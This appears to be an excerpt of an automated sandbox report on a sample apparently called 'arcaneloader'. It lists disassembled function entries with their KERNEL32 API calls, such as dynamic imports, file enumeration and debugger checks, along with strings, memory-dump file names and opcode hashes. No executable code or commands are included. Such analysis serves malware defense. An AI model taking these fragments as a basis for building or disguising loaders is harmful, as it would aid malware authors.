GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00DC4CD5
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 00DC4CE6
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00DC4CF7
GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 00DC4D08
GetProcAddress.KERNEL32(00000000,InitOnceExecuteOnce), ref: 00DC4D19
GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 00DC4D2A
GetProcAddress.KERNEL32(00000000,CreateSemaphoreW), ref: 00DC4D3B
GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 00DC4D4C
GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 00DC4D5D
GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 00DC4D6E
GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 00DC4D7F
GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 00DC4D90
GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 00DC4DA1
GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 00DC4DB2
GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 00DC4DC3
GetProcAddress.KERNEL32(00000000,FlushProcessWriteBuffers), ref: 00DC4DD4
GetProcAddress.KERNEL32(00000000,FreeLibraryWhenCallbackReturns), ref: 00DC4DE5
GetProcAddress.KERNEL32(00000000,GetCurrentProcessorNumber), ref: 00DC4DF6
GetProcAddress.KERNEL32(00000000,CreateSymbolicLinkW), ref: 00DC4E07
GetProcAddress.KERNEL32(00000000,GetCurrentPackageId), ref: 00DC4E18
GetProcAddress.KERNEL32(00000000,GetTickCount64), ref: 00DC4E29
GetProcAddress.KERNEL32(00000000,GetFileInformationByHandleEx), ref: 00DC4E3A
GetProcAddress.KERNEL32(00000000,SetFileInformationByHandle), ref: 00DC4E4B
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 00DC4E5C
GetProcAddress.KERNEL32(00000000,InitializeConditionVariable), ref: 00DC4E6D
GetProcAddress.KERNEL32(00000000,WakeConditionVariable), ref: 00DC4E7E
GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 00DC4E8F
GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 00DC4EA0
GetProcAddress.KERNEL32(00000000,InitializeSRWLock), ref: 00DC4EB1
GetProcAddress.KERNEL32(00000000,AcquireSRWLockExclusive), ref: 00DC4EC2
GetProcAddress.KERNEL32(00000000,TryAcquireSRWLockExclusive), ref: 00DC4ED3
GetProcAddress.KERNEL32(00000000,ReleaseSRWLockExclusive), ref: 00DC4EE4
GetProcAddress.KERNEL32(00000000,SleepConditionVariableSRW), ref: 00DC4EF5
GetProcAddress.KERNEL32(00000000,CreateThreadpoolWork), ref: 00DC4F06
GetProcAddress.KERNEL32(00000000,SubmitThreadpoolWork), ref: 00DC4F17
GetProcAddress.KERNEL32(00000000,CloseThreadpoolWork), ref: 00DC4F28
GetProcAddress.KERNEL32(00000000,CompareStringEx), ref: 00DC4F39
GetProcAddress.KERNEL32(00000000,GetLocaleInfoEx), ref: 00DC4F4A
GetProcAddress.KERNEL32(00000000,LCMapStringEx), ref: 00DC4F5B

Strings

SetThreadpoolTimer, xrefs: 00DC4D63
GetCurrentPackageId, xrefs: 00DC4E0D
SleepConditionVariableSRW, xrefs: 00DC4EEA
AcquireSRWLockExclusive, xrefs: 00DC4EB7
InitializeConditionVariable, xrefs: 00DC4E62
CreateSemaphoreW, xrefs: 00DC4D30
TryAcquireSRWLockExclusive, xrefs: 00DC4EC8
CloseThreadpoolWait, xrefs: 00DC4DB8
GetSystemTimePreciseAsFileTime, xrefs: 00DC4E51
FlushProcessWriteBuffers, xrefs: 00DC4DC9
GetTickCount64, xrefs: 00DC4E1E
CloseThreadpoolWork, xrefs: 00DC4F1D
WakeConditionVariable, xrefs: 00DC4E73
FreeLibraryWhenCallbackReturns, xrefs: 00DC4DDA
GetFileInformationByHandleEx, xrefs: 00DC4E2F
WaitForThreadpoolTimerCallbacks, xrefs: 00DC4D74
kernel32.dll, xrefs: 00DC4CB1
GetCurrentProcessorNumber, xrefs: 00DC4DEB
ReleaseSRWLockExclusive, xrefs: 00DC4ED9
LCMapStringEx, xrefs: 00DC4F50
CompareStringEx, xrefs: 00DC4F2E
InitializeSRWLock, xrefs: 00DC4EA6
InitOnceExecuteOnce, xrefs: 00DC4D0E
WakeAllConditionVariable, xrefs: 00DC4E84
FlsGetValue, xrefs: 00DC4CDB
InitializeCriticalSectionEx, xrefs: 00DC4CFD
GetLocaleInfoEx, xrefs: 00DC4F3F
CreateThreadpoolTimer, xrefs: 00DC4D52
SleepConditionVariableCS, xrefs: 00DC4E95
SetFileInformationByHandle, xrefs: 00DC4E40
CreateThreadpoolWork, xrefs: 00DC4EFB
CreateEventExW, xrefs: 00DC4D1F
SubmitThreadpoolWork, xrefs: 00DC4F0C
CreateThreadpoolWait, xrefs: 00DC4D96
CloseThreadpoolTimer, xrefs: 00DC4D85
CreateSymbolicLinkW, xrefs: 00DC4E01
FlsSetValue, xrefs: 00DC4CEC
FlsAlloc, xrefs: 00DC4CBE
CreateSemaphoreExW, xrefs: 00DC4D41
SetThreadpoolWait, xrefs: 00DC4DA7
FlsFree, xrefs: 00DC4CCA

Memory Dump Source

Source File: 00000000.00000002.2147091199.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.2147068779.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147128654.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147155361.0000000000DDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147182577.0000000000DDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147268087.0000000000DDF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147317395.0000000000DE1000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147383554.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_arcaneloader.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: AcquireSRWLockExclusive$CloseThreadpoolTimer$CloseThreadpoolWait$CloseThreadpoolWork$CompareStringEx$CreateEventExW$CreateSemaphoreExW$CreateSemaphoreW$CreateSymbolicLinkW$CreateThreadpoolTimer$CreateThreadpoolWait$CreateThreadpoolWork$FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$FlushProcessWriteBuffers$FreeLibraryWhenCallbackReturns$GetCurrentPackageId$GetCurrentProcessorNumber$GetFileInformationByHandleEx$GetLocaleInfoEx$GetSystemTimePreciseAsFileTime$GetTickCount64$InitOnceExecuteOnce$InitializeConditionVariable$InitializeCriticalSectionEx$InitializeSRWLock$LCMapStringEx$ReleaseSRWLockExclusive$SetFileInformationByHandle$SetThreadpoolTimer$SetThreadpoolWait$SleepConditionVariableCS$SleepConditionVariableSRW$SubmitThreadpoolWork$TryAcquireSRWLockExclusive$WaitForThreadpoolTimerCallbacks$WakeAllConditionVariable$WakeConditionVariable$kernel32.dll
API String ID: 667068680-295688737
Opcode ID: c5cfaced3e2ed633bae798d2f1541db5baaa1ad8deea11685f1735d40cfad2e3
Instruction ID: fbf0d75d63f34393194a6a8f384e604e72836146ab152a8fb34acb397a761255
Opcode Fuzzy Hash: c5cfaced3e2ed633bae798d2f1541db5baaa1ad8deea11685f1735d40cfad2e3
Instruction Fuzzy Hash: C76145719A3351AFC7806FF4AD1DCC67BA8AB097127405517B101D3362DBB6A085DFB8

Function 00DBCE70 Relevance: 8.0, APIs: 5, Instructions: 518threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00DBCF90
std::_Throw_Cpp_error.LIBCPMT ref: 00DBD216

Memory Dump Source

Source File: 00000000.00000002.2147091199.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.2147068779.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147128654.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147155361.0000000000DDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147182577.0000000000DDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147268087.0000000000DDF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147317395.0000000000DE1000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147383554.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_arcaneloader.jbxd

Similarity

API ID: Cpp_errorCurrentThreadThrow_std::_
String ID:
API String ID: 350343453-0
Opcode ID: 3ab0e5bfd5b53e65e6af24cd937d660e830f922685aeda604ed544efe8dde026
Instruction ID: e28c0a829bf7fbb2d6ae2c0c73f3351caf0db7eaf9e035b4d7b684fc2788a374
Opcode Fuzzy Hash: 3ab0e5bfd5b53e65e6af24cd937d660e830f922685aeda604ed544efe8dde026
Instruction Fuzzy Hash: 02F11B76E505108FEF004A7CC8A83DF2BE69B66330F2A172ADAB55B7D2D62744098F50

Function 00DCC7DB Relevance: 6.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00DCC8CB

Memory Dump Source

Source File: 00000000.00000002.2147091199.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.2147068779.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147128654.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147155361.0000000000DDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147182577.0000000000DDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147268087.0000000000DDF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147317395.0000000000DE1000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147383554.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_arcaneloader.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 8e68cd7428a692e49eb1d82fe21d4ca3bc5e5d6f0c05d74c8c651e0e7e896993
Instruction ID: 5ddf2208ecfc2a4fc0931824b656a7ddc5fcfba4bd5162f343638d3f38c0bac7
Opcode Fuzzy Hash: 8e68cd7428a692e49eb1d82fe21d4ca3bc5e5d6f0c05d74c8c651e0e7e896993
Instruction Fuzzy Hash: 9871CE7191111A9EDF20EF688C89FAAB7B9EF05300F1851DEE10DA3251DB308E859F30

Function 00DC5444 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00DC5450
IsDebuggerPresent.KERNEL32 ref: 00DC551C
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00DC553C
UnhandledExceptionFilter.KERNEL32(?), ref: 00DC5546

Memory Dump Source

Source File: 00000000.00000002.2147091199.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.2147068779.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147128654.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147155361.0000000000DDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147182577.0000000000DDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147268087.0000000000DDF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147317395.0000000000DE1000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147383554.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_arcaneloader.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 2d70442914290952fd8d8bf411507a7db695518094ef29e55f61d72af4fc7ae1
Instruction ID: abd9c17fe3df3afeb6e1b5575741886617d8e56be2d5e318dc87060fd01a6336
Opcode Fuzzy Hash: 2d70442914290952fd8d8bf411507a7db695518094ef29e55f61d72af4fc7ae1
Instruction Fuzzy Hash: CB311875D053199BDF10EFA4D989BCDBBB8BF08304F1040AAE40DAB251EB719A85CF25

Function 00DC7DCA Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 00DC7EC2
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 00DC7ECC
UnhandledExceptionFilter.KERNEL32(-00000327,?,?,?,?,?,00000000), ref: 00DC7ED9

Memory Dump Source

Source File: 00000000.00000002.2147091199.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.2147068779.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147128654.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147155361.0000000000DDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147182577.0000000000DDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147268087.0000000000DDF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147317395.0000000000DE1000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147383554.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_arcaneloader.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: ae2327bf148a519daa1598fc72ce1fff39bb625d7163f5a0e9fe373fb4f50c79
Instruction ID: 13769eeb021f1de17b326738b997ce4b4562a7a6aea46a2b5b4981bdda04f87a
Opcode Fuzzy Hash: ae2327bf148a519daa1598fc72ce1fff39bb625d7163f5a0e9fe373fb4f50c79
Instruction Fuzzy Hash: 8831B2759012299BCB21DF64DC89B8DBBB8BF08310F5041EAE41CA7291EB709F858F64

Function 00DC15A0 Relevance: 4.4, APIs: 2, Instructions: 1444COMMON

Download Yara Rule

APIs

___std_exception_destroy.LIBVCRUNTIME ref: 00DC2437

Memory Dump Source

Source File: 00000000.00000002.2147091199.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.2147068779.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147128654.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147155361.0000000000DDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147182577.0000000000DDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147268087.0000000000DDF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147317395.0000000000DE1000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147383554.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_arcaneloader.jbxd

Similarity

API ID: ___std_exception_destroy
String ID:
API String ID: 4194217158-0
Opcode ID: 9163aba120657c35f981e8f70afced4ec323e9d66be1f9dce6a0e32f3134a106
Instruction ID: 711b12a209c300a064661f98469a22c25ae94d80b08c0aec692c9edee68e1a6d
Opcode Fuzzy Hash: 9163aba120657c35f981e8f70afced4ec323e9d66be1f9dce6a0e32f3134a106
Instruction Fuzzy Hash: A9A26B66A555844FEF024AB884B93DF6FE24B6B730F6A2755C6F06F2D3D50B000B9B60

Function 00DBD7F0 Relevance: 2.6, Strings: 1, Instructions: 1327COMMONLIBRARYCODE

Download Yara Rule

Strings

-g}5, xrefs: 00DBD8D2

Memory Dump Source

Source File: 00000000.00000002.2147091199.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.2147068779.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147128654.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147155361.0000000000DDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147182577.0000000000DDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147268087.0000000000DDF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147317395.0000000000DE1000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147383554.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_arcaneloader.jbxd

Similarity

API ID:
String ID: -g}5
API String ID: 0-4071012034
Opcode ID: f211be79c9c01da6a2e306335b56a0ab7bdb83b5bd87881d90909c79b44d0fed
Instruction ID: b1a507e2770ff4915a35a9aa68ff7d75dcf0336dce34cd2e5de46208d37dfba6
Opcode Fuzzy Hash: f211be79c9c01da6a2e306335b56a0ab7bdb83b5bd87881d90909c79b44d0fed
Instruction Fuzzy Hash: 4B92AAA6A556C45FEF024AB8D4A93DF6FF24B6B331F6E2B5586E01F2D3C507004A9B10

Function 00DD1FD2 Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,00DD1F2D,?,?,00000008,?,?,00DD1AFF,00000000), ref: 00DD21FF

Memory Dump Source

Source File: 00000000.00000002.2147091199.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.2147068779.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147128654.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147155361.0000000000DDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147182577.0000000000DDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147268087.0000000000DDF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147317395.0000000000DE1000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147383554.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_arcaneloader.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 40cd342412cce9c63e5f2e1198e7044465d0cd0b8885f26fb9eaadacf495ea36
Instruction ID: 4db7945baa3517112776b213fff0789b628975e33c5901ae2e576bb0bbe8c7dc
Opcode Fuzzy Hash: 40cd342412cce9c63e5f2e1198e7044465d0cd0b8885f26fb9eaadacf495ea36
Instruction Fuzzy Hash: 6DB16B311106089FD715CF28C48AB657BE0FF55364F298699E999CF3A1C335E982CB54

Function 00DCC72A Relevance: 1.7, APIs: 1, Instructions: 199fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00DCB807: RtlAllocateHeap.NTDLL(00000008,?,?,?,00DCA057,00000001,00000364,?,00000005,000000FF,?,00DC6E25,00DD9D20,0000000C), ref: 00DCB848

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00DCC8CB
FindNextFileW.KERNEL32(00000000,?), ref: 00DCC9BF
FindClose.KERNEL32(00000000), ref: 00DCC9FE
FindClose.KERNEL32(00000000), ref: 00DCCA31

Memory Dump Source

Source File: 00000000.00000002.2147091199.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.2147068779.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147128654.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147155361.0000000000DDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147182577.0000000000DDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147268087.0000000000DDF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147317395.0000000000DE1000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147383554.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_arcaneloader.jbxd

Similarity

API ID: Find$CloseFile$AllocateFirstHeapNext
String ID:
API String ID: 4087847297-0
Opcode ID: e0507daee17c1bcd40632f611c0111f147d5657d48bd5f4f14a6c5a98b540335
Instruction ID: b53fe8fd44b1bea7184cb642db9cec5436f6db90f1ab2a9687a7b16b77903064
Opcode Fuzzy Hash: e0507daee17c1bcd40632f611c0111f147d5657d48bd5f4f14a6c5a98b540335
Instruction Fuzzy Hash: 8451317691020AAEDF249F689C85FBFB7A9DF85314F2851ADF50D93241EB308D429B70

Function 00DC5200 Relevance: 1.6, APIs: 1, Instructions: 147COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00DC5216

Memory Dump Source

Source File: 00000000.00000002.2147091199.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.2147068779.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147128654.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147155361.0000000000DDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147182577.0000000000DDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147268087.0000000000DDF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147317395.0000000000DE1000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147383554.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_arcaneloader.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 8ce17687afcb19b1f1ab158bade8535866b13ed2393f0b052e4f329fd588ea2d
Instruction ID: 573439d8e9dafc8a2258cf78c5d94cfe6faf7346221ceebb61ba4257b506ff74
Opcode Fuzzy Hash: 8ce17687afcb19b1f1ab158bade8535866b13ed2393f0b052e4f329fd588ea2d
Instruction Fuzzy Hash: 0D5169B191275A8FDB15CF54E891BAABBF0FB48354F28952ED401EB354D3B4A940CFA0

Function 00DBF4D0 Relevance: 1.6, Strings: 1, Instructions: 329COMMONLIBRARYCODE

Download Yara Rule

Strings

k#fz, xrefs: 00DBF718

Memory Dump Source

Source File: 00000000.00000002.2147091199.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.2147068779.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147128654.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147155361.0000000000DDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147182577.0000000000DDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147268087.0000000000DDF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147317395.0000000000DE1000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147383554.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_arcaneloader.jbxd

Similarity

API ID:
String ID: k#fz
API String ID: 0-1948189604
Opcode ID: ecb374a3065b06d37f247a068d3bd73fd6901db17c227950d9ddeea9088cc685
Instruction ID: 01adca432304223e6a35116993e3600f871bcd77121227615c718003b0c6c1a1
Opcode Fuzzy Hash: ecb374a3065b06d37f247a068d3bd73fd6901db17c227950d9ddeea9088cc685
Instruction Fuzzy Hash: 79D13072E115188FDB10CFBDC94069DB7F2AB88730F2A8369E875FB2D4D63499418B90

Function 00DC5438 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00015560), ref: 00DC543D

Memory Dump Source

Source File: 00000000.00000002.2147091199.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.2147068779.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147128654.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147155361.0000000000DDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147182577.0000000000DDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147268087.0000000000DDF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147317395.0000000000DE1000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147383554.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_arcaneloader.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 8d729256a2e2e2bafaeb4ae07926c59f1be669a52c9e8136c1b1d970b2c8b69b
Instruction ID: dca87418d44ad806567498bbd7bb7b0a6c19cb8b57616ef654d78b4d6f81e2b9
Opcode Fuzzy Hash: 8d729256a2e2e2bafaeb4ae07926c59f1be669a52c9e8136c1b1d970b2c8b69b
Instruction Fuzzy Hash:

Function 00DC9F90 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00DC9F90

Memory Dump Source

Source File: 00000000.00000002.2147091199.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.2147068779.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147128654.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147155361.0000000000DDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147182577.0000000000DDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147268087.0000000000DDF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147317395.0000000000DE1000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147383554.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_arcaneloader.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 52a890c9277b7a3191291b49044d608b1462515f4b67b1847f51634cc061107d
Instruction ID: 338b7260b97505eabb2499d2c6793f46079df4fff4080b4c7916925442fc30a2
Opcode Fuzzy Hash: 52a890c9277b7a3191291b49044d608b1462515f4b67b1847f51634cc061107d
Instruction Fuzzy Hash: 41A01130A033028B8B808F32AF0820A3BAAAA002A2B0080AAA000C0320EA3080008B20

Function 00DB86C0 Relevance: .7, Instructions: 725COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2147091199.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.2147068779.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147128654.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147155361.0000000000DDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147182577.0000000000DDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147268087.0000000000DDF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147317395.0000000000DE1000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147383554.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_arcaneloader.jbxd

